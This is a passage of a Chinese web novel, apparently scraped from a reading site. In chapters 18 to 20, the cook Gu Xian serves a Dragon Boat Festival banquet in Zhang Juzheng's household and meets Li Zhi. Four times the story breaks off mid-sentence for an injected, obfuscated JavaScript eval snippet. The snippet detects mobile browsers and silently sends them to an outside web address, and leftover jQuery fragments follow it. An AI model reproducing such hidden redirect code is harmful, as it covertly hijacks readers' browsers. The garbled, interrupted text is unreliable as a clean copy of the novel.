周围的人一听这话,也凑过来说起自己这几天端着饭碗到人家院墙外就着香味吃饭的心酸经历。 张居正家最近到底换了哪来的厨子哟! 顾闲面不改色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15890777|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跟大伙一起谴责:“没错,真是太过分了,也不知每天都在吃什么!” 眼看这个话题引起了街坊邻里的公愤,顾闲麻溜退出人群跑去法华寺避难。 顺便给王世贞他们送几个粽子。 王世贞见顾闲一脸心有余悸的表情,奇道:“你怎么跑得跟被狗追似的?” 顾闲便把自己路上凑热闹凑到自己头上的事给王世贞讲了。 可恶,看来姐夫家还是不够大,香味这么容易飘到外头! 王世贞:“……” 叫你这么喜欢到处撩闲,活该。 顾闲极力推荐王世贞尝尝自己包的肉粽,选肥瘦相间的肉提前用五香粉腌好,上锅一蒸,连带周围的糯米都带上了油脂的香气! 顾闲道:“我还加了几颗福建那边传过来的落花生,这东西油脂也多,味道好得很。”他一脸骄傲,“这可是我专门背过来给姐夫尝鲜的!” 别看大明禁海多年,实际上民间的贸易往来没少过,许多走私商人会带回来一些稀罕的番邦物种。 这些番邦物种往往最先在福建、广东等地方落户,无他,这些地方海运发达,且离京师远,山地又多,种点什么都没人管。 那些备受朝廷关注的地区可是连每块地种稻种桑都有规定的—— 你家里有几亩地种稻交税时就得交对应的稻谷,有几亩地种桑交税时就得交对应的生丝,由着你乱种岂不是不好征收赋税? 顾闲知道这些番邦作物的吃法,一直央朋友帮忙买种子或者种苗,这些年家里也开垦了些边角地试种。 可惜他们家好几口人吃饭,他又是个爱呼朋唤友吃吃喝喝的,即便种活了也只够自家人尝个味道。 还有一些不适合张居正吃的他也没拿出来。 比如番椒,也就是后世做菜会用到的辣椒。 这是顾闲去拜访一个叫做高濂的朋友时讨来的,对方养着番椒当观赏植物呢,说番椒熟透的时候像是“秃笔头”。 高濂生活在西湖边上,有钱有闲,家中藏书极多,经常写文章记录西湖胜景,具体内容大致是这样的—— “虎跑泉泡龙井最佳,水乐洞的水很甜,西湖三塔边的湖心亭适合采莼剥菱,胜果寺旁边适合中秋赏月聚餐,满家弄适合赏桂花吃斋饭。 岳王祠边的湖莲不错,我经常天还没亮就去摘来吃,等到日出露晞就没那么鲜美了。 还有,西溪竹林笋特别多,但大家估计都不晓得怎么吃,我跟你们讲吧,最妙的就是直接就地取材埽叶煨笋,熟了以后直接用刀切开吃,当真是世间少有的竹下清味!” 顾闲读了以后心向往之,曾经央着兄长带自己去西湖那边玩耍,屁颠屁颠前去拜访这位素未谋面的食中知己。 高濂也是个热情好客的,尝过顾闲做的饭菜后就慷慨赠予他一批番椒种子,还答应帮他多多留意杭州有没有什么新鲜食材。 浙江同样是海贸发达的地区,只不过很多番邦植物传进来都像是番椒一样作观赏用,等闲不会想去吃它。 有高濂这位同好帮忙盯着,顾闲可以第一时间知晓有什么好吃的传到了杭州! 想起了这位故友,顾闲决定把今天这顿自己掌勺的端午宴记下来,写信给高濂馋他一馋! 不为别的,就是见不得高濂每天优哉游哉遛弯找吃的。他都准备读书备考了,高濂怎么可以继续闲着? 写! 这信必须写! 万一高濂看了信决定奋起呢! 18.第 18 章 顾闲把自己沿途换来的粽子切分好,自己尝了个味,剩下的便与寺僧们分享,吃了个干干净净,一点都没浪费。 这么消磨了小半个时辰,顾闲便溜达归家去把控张府厨房。 明朝皇帝驾崩后天下臣民守孝一般依从“以日易月”原则,也就是守个三十六天就算是为皇帝守了三年,过后婚丧嫁娶可以自由安排。 这也是很容易理解的事:就算死了个皇帝,也不能真的三年都不嫁不娶不宴饮吧?经济发展还搞不搞了?人口增长率还要不要了? 于是出了正月,京师便渐渐热闹起来了。如今碰上端午佳节,街上到处都是携亲眷出门的游人,摊贩更是比平时多得多。 顾闲瞧见路旁有个卖樱桃的,颗颗樱桃色泽鲜亮,一看就是刚摘不久。 更重要的是,买得多还送个结实的箩筐,划算! 顾闲顺手买了一筐,正要自己扛回去,一直跟在旁边的郑大已自发地抱起那筐樱桃。 郑大力气确实大,满筐樱桃于他而言仿佛一点重量都没有。 顾闲见他步履稳健,没半分勉强,便与他一同回了府。 先皇到底才去世五个月,连宫中的端午宴都取消了,张居正自然不好太铺张,这次算上王世贞也才请了十人左右。 像徐阶他们这样的身份地位,过节只有别人去他们家拜访,很少会特意去别人家做客。 张居正一早便特意去了趟徐家,还带上了顾闲包的粽子,一串碱水粽,一串肉粽,一串甜粽,还附带蘸碱水粽用的白糖,充分照顾到不同的口味。 这白糖是顾闲自己制备的,颗粒极细,洁白如雪。张居正颇为喜欢,当着顾闲的面没说,早上却命人盛上一些来送徐阶。 不管如今认不认可徐阶的一些理念,他到底是徐阶的学生,逢年过节于情于理都该尽尽心。 徐阶命人收下张居正送来的粽子,邀他坐下吃茶。 没旁人在,徐阶难得地说了句重话:“这高新郑心眼儿太小,容不得人。你与他再要好都没用,回头稍不如他意他就会翻脸不认人。” 张居正一阵沉默。 如今高拱受满朝攻讦,大有不把他赶走不罢休的势头,而背后主导这种局面的人正是徐阶——这也是高拱当着其他人面都不给徐阶面子的原因。 张居正的资历摆在这里,阁臣之间的明争暗斗暂时还没影响到他身上。 他与高拱有在裕王府共事的情分在,对许多事情的观点又颇为投契,高拱知晓自己在这场斗争中已有败势,隐隐有将朝中诸事托付给他的意思。 张居正觉得在高拱还认自己这个朋友的情况下,自己不应该与高拱交恶。 隆庆皇帝才三十岁,还年轻得很,又十分看重高拱这位与他相伴将近十年的老师。即便徐阶眼下顺利把高拱撵出朝堂想,焉知未来隆庆皇帝不会起复高拱? 张居正暗自叹了口气。 徐阶隐忍多年才当上首辅,结果高拱跳出来要跟他一争高下,他想把高拱撵走是人之常情;高拱想着“一朝天子一朝臣”,想争取一下首辅的位置,这也是人之常情。 只是这才刚改元,阁臣之间的矛盾就发展到这种不可调和的程度,实在不是什么好兆头。 张居正道:“学生心里有数。” 徐阶知道张居正是个有主意的人,也不再多提点什么。 张居正能力出众,声誉又好,在隆庆皇帝面前还说得上话,有张居正在内阁他可以省心不少。这么个样样都好的学生,他有什么理由不看重? 只要张居正不在大事上跟自己这个老师对着干,他不会过于干涉张居正如何行事。 张居正走后,徐阶正要考虑要不要再挑些人见一见,就见孙子徐元春抱着哭闹的弟弟过来。 手里还拎着那串碱水粽。 徐阶道:“这是怎么了?” 徐元春一脸无奈:“弟弟看到了张师叔送的白糖,一定要吃这个粽子,孙儿带他过来请示祖父。” 徐阶道:“几个粽子而已,今天过端午,由他吃去吧。” 他已经六十五岁,平时很注意饮食问题,粽子这种不易消化的食物早被他列为尽量少吃(甚至不吃)的食物。自家孙儿想吃有什么要紧的? 徐元春把蘸粽子用的白糖当着徐阶的面倒了出来,说道:“祖父您看,这个糖质地细腻、莹润洁白,难怪弟弟看了会馋。” 徐阶瞧了一眼,也觉惊奇,伸手捻了些细糖仔细看了看,才点着头说道:“是挺不错,不过也不奇怪,若是不好叔大哪会特意送来?” 他见徐元春拎过来的碱水粽个头不大,顿觉吃上一个也无妨,便与两个孙子一起剥开粽叶用尾巴尖蘸了白糖尝鲜。 上了年纪,口味便偏清淡,这碱水粽恰好对了徐阶的胃口,他不知不觉就吃光了一整个。 他看了眼已经在消灭第二个碱水粽的孙子,绷起脸叮嘱:“粽子再好吃也不许贪嘴,元春你盯着弟弟少吃一点。” 徐元春听了连忙点头,心里却忍不住想:连什么馅都没有的碱水粽都这么好吃,其他带馅的粽子会不会更加美味?得去分两个尝尝! 想到每种粽子数量有限,徐元春赶紧哄着弟弟跑了。 刚才徐阶都说了,他年纪大不爱吃粽子,他们只管分了吃! 这就去分! 一眼看透孙子意图的徐阶:“……” 张居正家这小舅子确实有点本事,瞧他两个平时挺挑嘴的孙子都被馋成什么样了? …… 另一边,张居正归家后也陆续有人登门送礼。不过各方的礼物基本都让游七负责收下,不必张居正出面接见。 直至高拱他们陆续到了,张居正才更衣见客。 还没到吃饭的时候,张居正邀请宾客们落座吃茶。 入座之后,桌上最显眼的要数被顾闲摆出龙舟模样的粽子,舟头、舟身、舟尾由不同口味的粽子拼接而成,龙首缀着宛如点睛般的两颗红樱桃,底下还有微温的小火热着,保证粽子始终是刚出锅时的好状态。 至于周围的瓜果冷盘,更是样样俱美。 高拱乐道:“摆得这般讲究,倒是不知该从何下手了。” 张居正一看便知是顾闲干的好事,叫游七去把顾闲喊来一同招呼客人。 家中年纪稍长的三个孩子也被喊过来露露脸。 顾闲正在吃自己买的樱桃呢,听游七来喊自己还分了他一把,才兴致勃勃地去见世面。 高拱他早前已经见过了,今儿再瞅张四维他们一眼,发现一个两个确实都长得挺周正。 这一圈人的履历说出来,大抵都是年少天才,早早高中,叫人感觉世间聪明人真不值钱。 不过顾闲已经有个四十岁出头的阁老姐夫,见了这些人一点都不怯场。 甭管你们天不天才,反正都没我姐夫厉害! 既然没有面对一群大人物的诚惶诚恐,顾闲自是从从容容地给高拱他们介绍眼前的粽子龙舟。 这里头各种口味的粽子都拼了一些进去,每样吃一个的话一准饱得走不动路。为了留点肚子吃正餐,最好是切开分着吃,遇到自己喜欢的口味再从“龙舟”上取整个的吃。 顾闲的建议得到所有人的认可,没一会所有人面前便都摆上一份切分好的什锦粽子拼盘。 只要是当京官的,基本上都是从高中那天起参加各种大宴小宴,在座还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15895463|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真没有见识少的人。 像张四维家中背靠晋商,又出过不少当官的,自是从小锦衣玉食,吃过的山珍海味不知凡几。 照理说很少有什么食物能够打动他,但这个什锦粽子拼盘摆得实在好看,还散发着诱人的粽香。 张四维一眼便看中了里头熟悉的黄米粽,那是他家中每年端午都会做的,幼时年年都吃,并不觉得有多稀罕。到了外头才发现,别的地方很少包这样的粽子。 他夹起那片不算太厚的黄米粽送入口中。 还热乎着的黄米粽比糯米更紧实弹牙,里头裹着的红枣入口即化,枣泥的甜与黄米的香交汇在一起,唤起了张四维味蕾中深藏着的乡情。 都说“习得文武艺,货与帝王家”,他们一入朝堂至少得好几年才能请到省亲假。小时候依偎在母亲怀里吃甜粽时简单而美好的快乐,如今再难体会到了。 等到高拱他们都挑好了自己想吃的口味,张四维这个目前品阶不算太高的翰林编修才忍不住开口讨了个黄米粽。 比起切好的粽子拼盘,新剥开的黄米粽犹带粽叶的清香,味道居然还能更上一层楼! 张四维看了眼正坐在张居正旁边大快朵颐的顾闲,心情有些复杂。 没想到顾闲一个外乡人,竟能做出这样合他口味的黄米粽! 要知道人往往会美化记忆中的味道,有时候想尝尝自己过去喜欢的食物,到了嘴边却发现实在不怎么样。 偏偏顾闲这个黄米粽不仅轻而易举地唤起了他的乡愁,还叫他觉得……这比他从小到大吃过的黄米粽都要美味! 赴宴前高拱让他往后多与张居正往来(尤其是逢年过节要殷勤送礼),张四维本有些不愿意的。 毕竟高拱成为众矢之的都是因为徐阶,若是高拱被挤出朝堂,他却去讨好徐阶的学生,他成什么人了? 读书人什么都能丢,气节不能丢! 可张四维这会儿却有点儿动摇了。 多到张居□□上走动似乎也不错? 只要来得足够勤快,礼物带得足够多,总有被留饭的时候对吧? 顾闲还不知道正餐都还没上,已经有人准备多多登门了。 他给高拱等人把粽子和各式冷盘都介绍了一遍,又去厨房盯着宴席的菜品。 等高拱他们吃够了茶水点心、闲谈到肚子重新空了出来,今日的端午宴才正式开始。 王世贞本还担心自己跟高拱他们聊不来,来了以后才发现聊不来才好,可以慢慢品尝桌上一溜不重样的食物。 可惜他素有才名,在士林之中的影响力颇大,即便他不怎么想跟高拱他们说话,还是有人要询问他的近况。 好在这顿饭就是慢慢吃的,偶尔聊聊天也不会错过哪道菜。 有这种想法的不止王世贞,高拱也差不多。 高拱来这一趟自然不是光想着吃,他有许多话想私下嘱托张居正。 只不过从他们踏入张府开始,整个宴会的节奏就由顾闲这个半大小子掌控了,他都抽不出空与张居正多聊。 随着一道道菜陆续上桌,整桌人中最稳得住的就只有张居正了。 并不是他不爱吃,而是前几天顾闲已经把这些菜提前给他们做过一遍,所以他下筷虽然不慢,却不会情不自禁地喟叹出声。 顾闲也跟着吃吃喝喝,不时给介绍一下各种菜品涉及的典故,听得高拱他们暗自惊讶:单论这饮食方面的学问,这小子也称得上是博闻广识了,难怪王世贞愿意收他当学生。 等到一顿饭吃得差不多了,底下又上来一份青菜炒饵块,看起来素得很,但味道还挺香的。 高拱笑着问顾闲:“这道菜又有什么说头?” 19.第 19 章 顾闲没想到高拱还会主动问。 本来这道菜他是没打算讲什么的,但高拱都主动问了,顾闲也就夹起一片饵块给高拱介绍:“这是滇南一带的做法,选上好的白米泡上一个时辰,上锅蒸熟后用仔细舂透,就可以做成这种雪白雪白的饵块了。” 高拱笑道:“还以为里头又有什么吃的典故。” 顾闲道:“有倒是有,就是民间以讹传讹的说法,我后来读书翻了许多正史野史也没见着,就怕您听了会笑我胡诌。” 众人见他面对高拱这位阁老也侃侃而谈,心中暗自惊奇,只觉张居正这小舅子也颇为不凡。 有张居正在朝中提携,往后怕是有机会青云直上! 高拱也觉这小孩不错,说道:“不过是饭桌笑谈,没谁会那么较真,你只管说就是了。” 张居正闻言看了顾闲一眼,发现这小子一脸“这可是你让我说的哟”的表情,心中不知怎的有种不好的预感。 顾闲道:“听说有个朝代武将软弱无能,文臣只顾着党争,你排挤我我排挤你,满朝文武全无为国为民之心。到王朝末年外敌打进来,败的败,降的降,天下能人志士救国无门,只能携天子仓皇南逃。” 高拱道:“这估摸着是宋朝。” 顾闲一本正经地应和道:“应该是的吧,我史书读得不够透,不晓得宋朝是不是有这么一段。”他继续讲起这菜的来由,“却说这末代帝王辗转逃亡十余次,被人戏称为‘走天子’。” “有次他逃到云南腾冲,饿得前胸贴后背,当地土人见他着实可怜,端来一份青菜炒饵块给他吃,又冷又饿的‘走天子’饱餐一顿,直呼‘真乃救了朕的驾也’。” “于是当地人便把这土人常吃的炒饵块叫做‘大救驾’!” 高拱听完后凝眉苦思,却想不出南宋哪位皇帝有这番遭遇。 南宋末代皇帝,不是被忠臣背着跳海了吗?也没听说他们曾经去过云南啊! “走天子”什么的,也太埋汰人了。 高拱只能道:“这文臣武将当真无能,竟叫天子受此屈辱!” 顾闲连连点头:“没错,全都是王八蛋!” “文臣武将平时搞内斗比谁都积极,战事一起逃得比谁都快,根本没人管百姓的死活。等到亡国后自己一投降,转眼又当上新朝的官了,世上竟有如此厚颜无耻之人!” 顾闲骂完了,还向高拱虚心求教:“我听说宋朝搞起党争来,只要是对方当政时提出的举措,无论对错一概要抨击、一概要废止,压根不会去想来来回回地朝令夕改对百姓有什么影响,是这样的吗?” 高拱点头,感慨道:“是的,从来都如此。所以即使是最能人汇聚的时期,也没能改变整个王朝的颓势。” 他看了眼面前的“大救驾”,又看了眼旁边静默不言的张居正,一时也不知这道菜是不是张居正授意的。 高拱笑了笑,夹了一筷子饵块送入口中。 乡野杂菜配上素白的饵块确实是山野味道,等闲不会上达官贵人餐桌,但在大鱼大肉之后吃上这么几口倒也别有一番滋味。 这天南海北的一桌子菜吃下来,竟是一点都不觉得口味太杂,也是稀奇。 高拱都动筷子了,其他人也很给面子地分吃了那盘分量不算多的“大救驾”,只是喜不喜欢就只有他们自己知道了。 王世贞眼神复杂地瞧向顾闲。 眼下朝中斗得最厉害的不就是徐阶和高拱吗? 饭桌上高拱本人在场,张居正这个徐阶的学生也在场,这小子是真不知道朝中的局势还是想当着面骂两边的人? 王世贞觉得自己已经够会得罪人的了,此时此刻竟也有些佩服顾闲这初生牛犊不怕虎的莽劲。 后头厨房那边又上了些蓑衣黄瓜之类的凉菜供众人消消食、聊聊天,一顿饭算是吃得宾主尽欢。 高拱离开时,张居正起身送他出门。 两人都安静了一会,高拱才说道:“朝中有叔大你在,我也可以放心告老还乡去了。”他笑容里多了几分冷意,“不过你老师也六十五岁了,只怕我走了他也未必能长留,你得早作打算,趁早提拔一些得用的人。” 若非形势所逼,高拱也舍不得走,可这次他捅了言官窝,成了众矢之的,强留下来只会颜面无存,做什么都得听徐阶指挥,这叫高拱怎么受得了? 不过高拱看不惯矫言伪行的徐阶,也看不惯庸碌无为的李春芳等人,唯有张居正这个比他小了十来岁的知交能叫他另眼相待。 他就是这种性格,喜欢的人处处推心置腹,厌恶的人恨不能除之而后快,爱憎分明得很。 张居正听高拱言语间隐隐有交托之意,心中感动不已,正色道:“我晓得的。” 高拱将张四维他们邀来赴宴,无非是让双方心里有个底,往后碰上了莫要过分为难——必要时这些人也能为自己所用。 另一边,顾闲陪着王世贞回法华寺,说是今天张居正放假不用上衙,他都没有溜鹅,正好带着鹅去法华寺玩耍。 短短几日,王世贞已习惯了那只鹅(一想到张居正每天都有被鹅送去上衙的待遇,他就更习惯了)。 有感于顾闲为自己带来了这么一顿美味,王世贞说道:“端午宴客的事已经了结了,余下小半日你正好在这里习字读书。” 顾闲:? 可恶,京师人心太险恶,想回老家了。 顾闲是个坐不住的,才学了两刻钟,便觉座位有点扎人,借口说要去看看悟真和尚,一溜烟跑了。 王世贞摇摇头,由着他去了。 今儿是端午,又是逢五的日子,悟真和尚忙得很。 虽说豆肠已经可以成为寺里的常备斋菜,但还是有很多人冲着买烤鸭来,所以他得去烤炉那边守着,掌控好烤鸭的火候。 顾闲过去瞅了一会,好奇地观摩起悟真和尚的烤鸭手法。 悟真和尚今天实在忙,抽不出空与他闲谈,便告诉他寺里今天派斋饭,问他要不要去尝尝。 一听是不要钱的,顾闲立刻来了兴致,屁颠屁颠地排队领斋饭去。 寺里逢年过节为普通香客准备的斋饭大同小异,无非是白粥或馒头,得加钱才能吃点好的。 顾闲不嫌弃,乐呵呵地领了个馒头,跑外面尝尝这佛门清净地做的馒头。 他嚼巴几口,觉得滋味有点寡淡,这粗粮做的馒头跟玉米做的窝窝头不相上下,口感都扎实到有点噎人。 秉承着“浪费粮食不应该”的想法,顾闲还是通过小口慢嚼的方式努力解决自己领来的馒头,心想这年代没有玉米面,都没法骂人是“吃窝头的命”了,看来还是得把玉米寻摸出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15899785|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正想着,就瞧见旁边坐着个清癯的中年文士,他穿着一身洗得发白的衣裳,瞧着有点不合身了,明明是挺周正的一张脸,愣是瘦出了点苦相来。 顾闲是瞧不得人这模样的,他见中年文士也领了个粗粮馒头,便凑过去问道:“你也是住这附近的吗?” 这里离皇城近,离灯市也近,称得上是城东最繁华的一片区域了,照理说住在这一带的人不至于落魄到这种程度。 中年文士没想到会有人主动跟自己搭话,摇着头道:“不是,我住在别的坊,听说这里今天有斋饭,我来领一下。”他说得很坦荡,说完还咬了一口手里的粗粮馒头。 顾闲见他如此,便知他不是寻常人物。 他见过的读书人大多都爱面子,若是领斋饭被人撞见了,必然要为自己遮掩一番,说什么“就是路过看到”“想沾沾佛祖福气”,极少有人愿意承认自己就是专门来领斋饭吃的。 顾闲把最后一口粗粮馒头塞进嘴里,对中年文士说道:“你在这里等会,我去去就回!” 中年文士不明所以,但见顾闲眨眼间已经跑远了,便继续坐在原处吃刚领来的斋饭。 他赴任时妻子没有跟来,自己孑然一身在京师漂泊,多吃一顿少吃一顿都不妨事。 赶巧听说法华寺发斋饭,他便决定过来领个馒头充饥算了,省得再自己开火。 这事没什么好藏着掖着的,谁来问他都照实说。 穿衣吃饭即是人伦物理! 顾闲说去去就回,还真是不到一刻钟又跑了回来,手里还拎着两个肉粽。他说道:“这是我自己包的,你拿回去晚上饿了当宵夜吃,或者明天当早饭也可以,但最近天气热了,不能放太久!” 这是他去跟王世贞那边要来的,左右王世贞今天应该吃不下了,不如先给这个初次见面的朋友尝尝鲜。 中年文士没想到顾闲还给自己拿来两粽子,他想了想,收下了这份馈赠,说道:“多谢小友了,我叫李贽,号卓吾,不知小友怎么称呼?” 顾闲:??? 你就是传说中的李卓吾?! 据说李贽写了本叫《焚书》的文集,一看这书名就知道里面不是什么符合明朝士大夫喜欢的内容。 事实上也确实如此,他在书里炮轰孔孟,痛批伪道学,尤其反对程朱理学的“存天理灭人欲”。 万历末年便有人罗列一堆罪状弹劾李贽蛊惑人心、妖言惑众,譬如说李贽居然夸吕不韦智谋过人,李斯很有才学,秦始皇是千古一帝,卓文君真是太会给自己找对象了,简直是胡说八道! 于是李贽的学说被定为“敢倡乱道,惑世诬民”,以七十四岁高龄被关进锦衣卫诏狱里,最后在狱中自绝而亡。 难得见到个写书把自己写进牢里的厉害人物,顾闲颇觉稀罕,不由多看了李贽好几眼。 眼前的李贽远没有后世记载中那种抨击一切的狂妄,看起来还是挺正常一个人。 就是吧,有点穷。 顾闲大大方方报上姓名:“我姓顾,单名一字闲,还没有取字和别号,你叫我闲哥儿就好。” 李贽不知怎地觉得这名字有点耳熟,却又想不起在哪儿听过。 他也觉得顾闲的脾气挺对自己胃口,朝顾闲报出了自己现在的住址并说道:“往后有什么需要我帮忙的,只管来找我。” 20.第 20 章 李贽只身来京师赴任,住的地方自然没多好。 目前他住在朝廷为低品京官划分出来的官员大院里,一个院子能住好多人,位置也不怎么好。 好在官位低微也有官位低微的好处,他这个礼部司务只是个八品小官,根本没资格上朝,否则恐怕每天宵禁一开就出发也赶不上。 以举人之身入仕大多是像他这样永远只在□□品的末流小官职位上打转,那点俸禄还不如辞官归家用自己的举人身份接受投献,当个自自在在的举人老爷—— 在地方上,举人身份还是很稀罕的! 要知道举人名下的田地以及仆役那都是可以减免赋税徭役的。 普通老百姓当然也知道田挂到别人名下不好,可碰上荒年不这样做一大家子人都活不下去,倒不如找个可信的乡绅豪强投献自家土地。 再艰难点的,连自己儿女都卖出去。 乡绅老爷们得了田地,自己也可以活下去,怎么看都是一举两得的好事对吧! 眼前都熬不过去了,谁还能考虑以后? 李贽年轻时便是不懂这一点,不愿意同流合污,说话做事处处得罪人,才会过得穷途潦倒。 后来眼睁睁看着自家孩子一个个夭亡,世间的名利富贵对他更是没了意义,他依然我行我素地在各个职位上当个刺头,吸收着自己能接受到的所有知识。 即便目前住得差、吃得差、俸禄约等于没有,李贽还是对现在的生活挺满意。 在京师他可以借阅许多书,可以接触许多有思想有文化的人(虽然其中很多人都瞧不上他)。 四十多岁的年纪,正适合多学多思! 至于近来又得罪了好几位同僚和上司……问题不大,道不同不相为谋! 顾闲好奇心一向很旺盛,得知李贽住在朝廷为官员准备的群租房里,顿时来了兴趣:“那说好了,我改天去寻你玩耍。” 人总不能一天到晚学习,还是得出去遛遛弯的! 说不定官员群租房那边也有很多嫩草给鹅吃呢? 想到这里,顾闲兴致勃勃地问:“你们那边的院子里有长草吗?” 李贽:? 为什么会问这样的问题? 顾闲看出了李贽的迷茫,当着李贽的面吹了个长长的口哨。 那只不知在哪觅食的鹅嘎地应了一声,张着翅膀飞快朝他们这边跑来。 顾闲抱起日渐圆润的小鹅给李贽看:“有草的话,我带它过去觅食!虽说回家每天菜叶子管够,但是家里的菜哪有去外面打野食香,鹅就爱到处啄啄啄。” 李贽:??? 这一刻突然觉得好熟悉。 他想起来了,最近同僚们都在聊张居正家来了个小舅子,每天不是赶着鸭就是赶着鹅一路送他到宫门口。 当时还有人提过一嘴张居正妻弟的名字,但是因为李贽跟同僚关系不太好,所以人家聊天都不带他,所以他只依稀听到个顾字。 现在回忆一下,当时同僚说的名字确实像是“顾闲”。 李贽道:“草倒是有,就是不知道合不合它胃口。” 他多瞧了那只小鹅一眼,顿觉它不是普通的鹅了,它是天天送张居正去上衙的鹅。 想到顾闲一声口哨就把鹅喊了过来,李贽不由夸了一句:“这鹅真有灵性。” 顾闲一脸惆怅:“我也这么觉得,本来我还想着养大做烧鹅,但它这么聪明又这么信任我,我都舍不得了。” 李贽:“…………” 这么一说,他感觉寺里的烤鸭味越发香了,连顾闲放下地的那只小鹅都瞧着都皮红肉嫩。 罪过了! 李贽觉得自己不能再待下去了,拎着肉粽和顾闲告辞。 顾闲出来玩耍了这么久也觉玩够了,挥别李贽回了王世贞那边。 他与王世贞说起遇到李贽的事。 王世贞出身太仓王氏,往上追溯的话那就是赫赫有名的琅琊王氏,父亲蒙冤受难前往来的从来都是当世名流,李贽一个举人出身的八品小官还真不在他的交友范围之内。 没办法,京师这地方连状元都不值钱,连进士都没考上的人就跑来这地方混官场,哪能指望有人能注意到他? 听顾闲说起李贽如今的处境,王世贞也有些叹惋:“他这样的人确实到哪寸步难行。” 王世贞自己也是这样的人,得罪人的事情从来都没少干,区别只在于他出身优渥,不至于苦了自己。 想到今天顾闲当着高拱他们的面大骂党争,王世贞只觉若是将来高拱当权,这小子恐怕也讨不了好。 只能看张居正能不能在内阁中站稳脚跟了。 王世贞提笔给顾闲布置了今天的作业,放他归家去。 顾闲看了眼上头的题目和书单,总感觉自己的功课一天比一天多、一天比一天难,不会是王世贞按照他自己的水平安排的吧? 不过瞧见王世贞一副“你不会这点功课都做不完吧”的态度,顾闲又把到嘴的抗议咽了回去。 迟早要跟你们这些天才拼了! 顾闲带着当天的课业归家,不免去找张居正说起此事,强烈谴责王世贞这种“以己度人”的行为。 张居正心道估计是你表现得太轻松了,人家才给你加功课。只不过当着顾闲的面,张居正还是劝道:“你老师这么安排也是觉得你能做到。他要是不对你严加要求,我才更不放心把你交给他教导。” 顾闲觉得自己找错抱怨对象了,决定溜之大吉,改为去找张敬修他们说起这事儿。 几个外甥一听,讨走题目和书单传阅了一番,纷纷表示要抄上一份回去研究。 小舅舅都学到这里了,他们也不能落后! 顾闲:? 可恶,就没有人跟他有共鸣吗?几个外甥都不对劲! 还是年纪尚小的张简修正常一点,眼巴巴地凑过来问:“晚上吃什么?” 顾闲顿时舒服了,世上也不都是张敬修他们这种嗜学如命的家伙嘛! 他说道:“白天吃多了粽子和肉,晚上给你们准备了百合汤饼和绿豆糕,要不然夜里睡不好。” 百合耐热又耐寒,京师也有人种,只不过不是每种百合都能吃,顾闲也是这两天到处溜达才挑出适合和面做汤饼的甜百合。 吃百合花这种事,顾闲是从好友高濂那里学来的。 高濂住在杭州西湖边,种什么花都挺容易活,他又看什么都觉得能吃,琢磨出许多以花入菜的食谱。 百合的花和球茎本身是有毒的,得经过一系列的处理才能吃。 顾闲不仅缠着高濂学会了全套手法,后来还时不时搞点小创新写信跟高濂交流,这点困难当然难不倒他。 现在他做的百合汤饼,连高濂这个首倡者吃了都说好! 张简修却是头一次听说花还能吃,一直到百合汤饼上桌都还有点不敢置信,他小心翼翼地嗦了一口,只觉那汤饼滑溜溜的,一下子就滑进了他胃里去,只余下口中的些许余香。 白天吃了许多大鱼大肉以及不太好消化的粽子,这口味清淡的百合汤饼一下肚,倒像是把残余在食道和肠胃里的油脂都尽数涤净了,舒坦! 张居正都感觉自己现在吃好睡好,早起永远神清气爽。 若不是顾闲这么个半大小子太能吃也太会吃,这么从年头吃到年尾花销太大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15907670|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计岳父岳母也舍不得把他送出来吧? 翌日一早,百官又该兢兢业业为朝廷干活,今天不管是去上衙的张居正还是去上学的张敬修几人都带上了一小包绿豆糕。 据顾闲所说,这个可以藏在身上不叫人发现,饿了拿一块出来吃。 顾闲遛着鹅前往法华寺的路上遇到正要去礼部打杂的李贽,还热情地投喂他一包绿豆糕,这糕点最适合夏天吃。 李贽颇为感动地收下那包绿豆糕,一转头发现几个同僚正在不远处瞧着自己。 他回了对方一个“你瞅啥”的眼神,迈步走入礼部衙署。 结果这天同僚居然主动跟他搭话,明里暗里打听他和顾闲怎么认识的,他跟张阁老有没有搭上线。 